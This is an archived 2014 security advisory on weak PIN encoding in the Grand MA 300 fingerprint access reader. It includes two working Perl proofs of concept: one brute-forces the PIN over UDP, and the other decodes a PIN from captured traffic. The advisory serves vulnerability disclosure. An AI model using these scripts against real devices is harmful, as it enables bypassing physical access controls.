Grand MA 300 Fingerprint Reader Weak PIN Verification

2014-08-26T00:00:00
ID PACKETSTORM:128003
Type packetstorm
Reporter Eric Sesterhenn
Modified 2014-08-26T00:00:00

Description

                                        
                                            `=== LSE Leading Security Experts GmbH - Security Advisory 2014-07-13 ===  
  
Grand MA 300 Fingerprint Reader - Weak Pin Verification  
------------------------------------------------------------------------  
  
Affected Versions  
=================  
Grand MA 300/ID with firmware 6.60  
  
  
Issue Overview  
==============  
Vulnerability Type: Weak Pin Verification  
Technical Risk: high  
Likelihood of Exploitation: medium  
Vendor: Granding  
Vendor URL: http://www.granding.com/productdetail/46/.aspx  
Credits: LSE Leading Security Experts GmbH Eric Sesterhenn  
Advisory URL: https://www.lsexperts.de/advisories/lse-2014-07-13.txt  
Advisory Status: Public  
CVE-Number: CVE-2014-5380 and CVE-2014-5381  
CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-5380 and  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-5381  
  
  
  
Impact  
======  
A weakness was found in the Grand MA 300 fingerprint access control  
device, which allows the retrieval of the access pin from  
sniffed data (CVE-2014-5380), as well as a weakness, which allows a  
fast brute-force attack on the pin (CVE-2014-5381).  
  
  
Issue Description  
=================  
The cipher do encode the pin inside the network or wigand traffic  
contains a flaw which allows to retrieve the pin an weakens the  
resitance against brute-force attacks.  
  
  
  
Temporary Workaround and Fix  
============================  
Due to the proprietary nature of the product, we are unable  
to provide a fix. As a workarount disable the devices entirely  
or make sure no physical access to the ethernet or wigand interfaces  
are possible.  
  
  
Proof of Concept  
================  
  
The following perl script shows the weak pin encoding,  
and allows a bruteforce.  
  
---------------------8<-------------------------------  
#!/usr/bin/perl  
#  
# This brute-forces the pin of a Grand MA 300 Fingerprint  
# Access device in less than 5 minutes, if the pin  
# is between 1 and 4294967296.  
#  
# written by Eric Sesterhenn <eric.sesterhenn@lsexperts.de>  
# http://www.lsexperts.de  
#  
use IO::Socket::INET;  
use strict;  
use warnings;  
  
sub hexd {  
my ($data) = @_;  
my $ret = "";  
for (my $i=0; $i<length($data); $i++) {  
$ret .= sprintf "%X", ord(substr($data, $i, 1));  
}  
return $ret;  
}  
sub getword {  
my ($data, $offset) = @_;  
my $ret = 0;  
  
$ret = ord(substr($data, $offset, 1));  
$ret += 0x100 * ord(substr($data, $offset+1, 1));  
return $ret;  
}  
  
sub makeword {  
my ($value) = @_;  
  
my $ret = chr(($value & 0xFF)) . chr((($value >> 8) & 0xFF));  
  
return $ret;  
}  
  
sub calccrc {  
my ($packet) = @_;  
# we pad with zero for packets of uneven length  
my $newpacket = substr($packet, 0, 2) . substr($packet, 4) . chr(0);  
my $crc = 0;  
  
# the crc is the sum of all words in the packet  
for (my $i = 0; $i<length($packet) - 2; $i += 2) {  
$crc += getword($newpacket, $i);  
}  
  
# if the result is to big, we add the high bits to the lower bits  
while ($crc > 0xFFFF) {  
$crc = ($crc & 0xFFFF) + ($crc >> 0x10);  
}  
  
# negate the checksum  
$crc = ~$crc & 0xFFFF;  
return $crc;  
}  
  
sub makepacket {  
my ($type, $cid, $seqno, $data) = @_;  
my $crc = calccrc(makeword($type).makeword(0).makeword($cid).makeword($seqno).$data);  
return makeword($type).makeword($crc).makeword($cid).makeword($seqno).$data;  
}  
  
sub calcpass {  
my ($pin, $cid) = @_;  
my $ret = 0;  
  
# revert the bits  
for (my $i = 0; $i < 32; $i++) {  
$ret *= 2;  
if ($pin & 1) {  
$ret = $ret + 1;  
}  
$pin = $pin / 2;  
}  
  
$ret += $cid;  
  
# xor with magic value  
$ret ^= 0x4F534B5A;  
  
# switch the words  
$ret = (($ret & 0xFFFF) << 16) + ($ret >> 16);  
  
# xor all, but third byte with last byte of gettickcount  
my $gc = 0x00;  
$ret ^= $gc + ($gc << 8) + ($gc << 24);  
  
# set third byte to last byte of gettickcount  
# this weakens the algorithm even further, since this byte  
# is no longer relevant to the algorithm  
$ret = ($ret & 0xFF000000) + ($gc << 16) + ($ret & 0xFFFF);  
  
return $ret;  
}  
  
# flush after every write  
local $| = 1;  
  
my ($socket,$client_socket);  
  
# creating object interface of IO::Socket::INET modules which internally creates  
# socket, binds and connects to the TCP server running on the specific port.  
  
my $data;  
$socket = new IO::Socket::INET (  
PeerHost => '192.168.1.201', # CHANGEME  
PeerPort => '4370',  
Proto => 'udp',  
) or die "ERROR in Socket Creation : $!\n";  
  
# initialize the connection  
$socket->send(makepacket(1000, 0, 0, ""));  
$socket->recv($data, 1024);  
  
my $typ = getword($data, 0);  
my $cid = getword($data, 4);  
if ($typ != 2005) {  
printf("Client does not need a password");  
exit(-1);  
}  
  
for (my $i = 0; $i < 65536; $i++) {  
if (($i % 10) == 0) { printf "$i\n"; }  
my $pass = calcpass($i, $cid);  
$socket->send(makepacket(1102, $cid, $i + 1, pack("V", $pass)));  
  
$socket->recv($data, 1024);  
$typ = getword($data, 0);  
if ($typ == 2000) {  
printf("Found pin: %d\n", $i);  
exit(0);  
}  
}  
  
# disconnect  
$socket->send(makepacket(1001, $cid, 2, ""));  
  
$socket->close();  
---------------------8<-------------------------------  
  
The following proof of concept shows how to reverse  
the pin from a captured packet.  
  
---------------------8<-------------------------------  
#!/usr/bin/perl  
#  
# This script calculates the original pin based on the pin  
# retrieved on the wire for the Grand MA 300 fingerprint access device  
#  
# look for a UDP packet starting with 0x4E 0x04, the last 4 bytes are the  
# encoded pin  
#  
# written by Eric Sesterhenn <eric.sesterhenn@lsexperts.de>  
# http://www.lsexperts.de  
#  
use warnings;  
use strict;  
  
my $cid = 0; # connection id  
my $ret = 0x4B00A987; # pin on the wire  
  
# get gettickcount value (third byte)  
my $gc = ($ret >> 16) & 0xFF;  
  
# set third byte to magic value (so it becomes zero when we xor it later with the magic value)  
$ret = $ret | 0x005A0000;  
  
# xor all, but third byte with last byte of gettickcount  
$ret ^= $gc + ($gc << 8) + ($gc << 24);  
  
# switch the words  
$ret = (($ret & 0xFFFF) << 16) + ($ret >> 16);  
  
# xor with magic value  
$ret ^= 0x4F534B5A;  
  
# substract the connection id  
$ret -= $cid;  
  
my $fin = 0;  
# revert the bits  
for (my $i = 0; $i < 32; $i++) {  
$fin *= 2;  
if ($ret & 1) {  
$fin = $fin + 1;  
}  
$ret = $ret / 2;  
}  
  
printf("final: %X \n", $fin);  
---------------------8<-------------------------------  
  
  
History  
=======  
2014-07-13 Issue discovered  
2014-08-18 Vendor notified  
2014-08-20 CWE IDs assigned  
2014-08-25 Advisory released  
  
`